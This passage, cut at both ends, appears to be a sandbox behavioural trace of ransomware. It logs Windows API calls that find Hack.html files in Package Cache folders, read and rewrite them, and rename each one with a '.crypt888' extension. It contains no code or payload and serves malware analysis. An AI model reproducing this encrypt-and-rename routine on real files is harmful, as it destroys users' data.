lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.881] ReadFile (in: hFile=0x174, lpBuffer=0x27e1994, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27e1994*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.901] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.902] GetFileType (hFile=0x174) returned 0x1 [0089.902] GetFileType (hFile=0x174) returned 0x1 [0089.903] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\hack.html.crypt888")) returned 1 [0089.904] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.905] GetFileType (hFile=0x174) returned 0x1 [0089.905] GetFileType (hFile=0x174) returned 0x1 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.906] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.907] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.907] GetFileType (hFile=0x174) returned 0x1 [0089.907] GetFileType (hFile=0x174) returned 0x1 [0089.907] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.907] ReadFile (in: hFile=0x174, lpBuffer=0x2835b38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2835b38*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.926] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.928] GetFileType (hFile=0x174) returned 0x1 [0089.928] GetFileType (hFile=0x174) returned 0x1 [0089.929] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\hack.html.crypt888")) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x59a5a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.930] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.931] GetFileType (hFile=0x174) returned 0x1 [0089.931] GetFileType (hFile=0x174) returned 0x1 [0089.931] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.931] ReadFile (in: hFile=0x174, lpBuffer=0x2887858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2887858*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.953] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.955] GetFileType (hFile=0x174) returned 0x1 [0089.955] GetFileType (hFile=0x174) returned 0x1 [0089.956] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\hack.html.crypt888")) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.957] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.958] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.958] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.958] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.958] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.958] GetFileType (hFile=0x174) returned 0x1 [0089.958] GetFileType (hFile=0x174) returned 0x1 [0089.958] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0089.958] ReadFile (in: hFile=0x174, lpBuffer=0x26dacc4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26dacc4*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0089.978] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.979] GetFileType (hFile=0x174) returned 0x1 [0089.979] GetFileType (hFile=0x174) returned 0x1 [0089.979] WriteFile (in: hFile=0x174, lpBuffer=0x272901c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x272901c*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0089.981] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\hack.html.crypt888")) returned 1 [0089.981] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.982] GetFileType (hFile=0x174) returned 0x1 [0089.982] GetFileType (hFile=0x174) returned 0x1 [0089.983] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.983] GetFileType (hFile=0x174) returned 0x1 [0089.983] GetFileType (hFile=0x174) returned 0x1 [0089.984] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.987] GetFileType (hFile=0x174) returned 0x1 [0089.987] GetFileType (hFile=0x174) returned 0x1 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.989] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.990] GetFileType (hFile=0x174) returned 0x1 [0089.990] GetFileType (hFile=0x174) returned 0x1 [0089.990] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.990] ReadFile (in: hFile=0x174, lpBuffer=0x27342bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27342bc*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.009] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.011] GetFileType (hFile=0x174) returned 0x1 [0090.011] GetFileType (hFile=0x174) returned 0x1 [0090.012] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\hack.html.crypt888")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.013] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.014] GetFileType (hFile=0x174) returned 0x1 [0090.014] GetFileType (hFile=0x174) returned 0x1 [0090.014] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.014] ReadFile (in: hFile=0x174, lpBuffer=0x2786008, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2786008*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.033] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.035] GetFileType (hFile=0x174) returned 0x1 [0090.035] GetFileType (hFile=0x174) returned 0x1 [0090.036] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\hack.html.crypt888")) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.037] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.038] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.038] GetFileType (hFile=0x174) returned 0x1 [0090.038] GetFileType (hFile=0x174) returned 0x1 [0090.038] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.038] ReadFile (in: hFile=0x174, lpBuffer=0x27d894c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27d894c*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.051] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.052] GetFileType (hFile=0x174) returned 0x1 [0090.052] GetFileType (hFile=0x174) returned 0x1 [0090.053] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\hack.html.crypt888")) returned 1 [0090.054] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.054] GetFileType (hFile=0x174) returned 0x1 [0090.054] GetFileType (hFile=0x174) returned 0x1 [0090.055] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.056] GetFileType (hFile=0x174) returned 0x1 [0090.056] GetFileType (hFile=0x174) returned 0x1 [0090.057] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.061] GetFileType (hFile=0x174) returned 0x1 [0090.061] GetFileType (hFile=0x174) returned 0x1 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.062] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.062] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.063] GetFileType (hFile=0x174) returned 0x1 [0090.063] GetFileType (hFile=0x174) returned 0x1 [0090.063] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.063] ReadFile (in: hFile=0x174, lpBuffer=0x2831e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2831e10*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.078] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.079] GetFileType (hFile=0x174) returned 0x1 [0090.079] GetFileType (hFile=0x174) returned 0x1 [0090.080] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\hack.html.crypt888")) returned 